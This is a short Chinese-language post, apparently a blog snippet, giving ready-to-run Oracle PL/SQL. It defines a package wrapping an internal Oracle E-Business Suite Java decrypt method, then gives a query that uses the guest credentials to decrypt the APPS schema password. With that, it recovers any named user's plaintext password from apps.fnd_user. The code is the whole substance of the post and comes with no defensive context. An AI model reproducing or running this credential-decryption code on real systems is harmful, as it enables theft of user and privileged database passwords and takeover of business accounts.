写个包,用来解码:

 
  
  1. --创建Package声明     
  2. CREATE OR REPLACE PACKAGE get_pwd    
  3. AS    
  4.    FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)    
  5.       RETURN VARCHAR2;    
  6. END get_pwd;    
  7. /    
  8.     
  9.  
  10. --创建Package Body     
  11. CREATE OR REPLACE PACKAGE BODY get_pwd    
  12. AS    
  13.    FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)    
  14.       RETURN VARCHAR2    
  15.    AS    
  16.       LANGUAGE JAVA    
  17.       NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';    
  18. END get_pwd;    
  19. /    

 

 

查询:

 
  
  1. --Query to execute     
  2. SELECT usr.user_name,    
  3.        get_pwd.decrypt    
  4.           ((SELECT (SELECT get_pwd.decrypt    
  5.                               (fnd_web_sec.get_guest_username_pwd,    
  6.                                usertable.encrypted_foundation_password    
  7.                               )    
  8.                       FROM DUAL) AS apps_password    
  9.               FROM apps.fnd_user usertable    
  10.              WHERE usertable.user_name =    
  11.                       (SELECT SUBSTR    
  12.                                   (fnd_web_sec.get_guest_username_pwd,    
  13.                                    1,    
  14.                                      INSTR    
  15.                                           (fnd_web_sec.get_guest_username_pwd,    
  16.                                            '/'    
  17.                                           )    
  18.                                    - 1    
  19.                                   )    
  20.                          FROM DUAL)),    
  21.            usr.encrypted_user_password    
  22.           ) PASSWORD    
  23.   FROM apps.fnd_user usr    
  24.  WHERE usr.user_name = '&USER_NAME';    

 

 

over...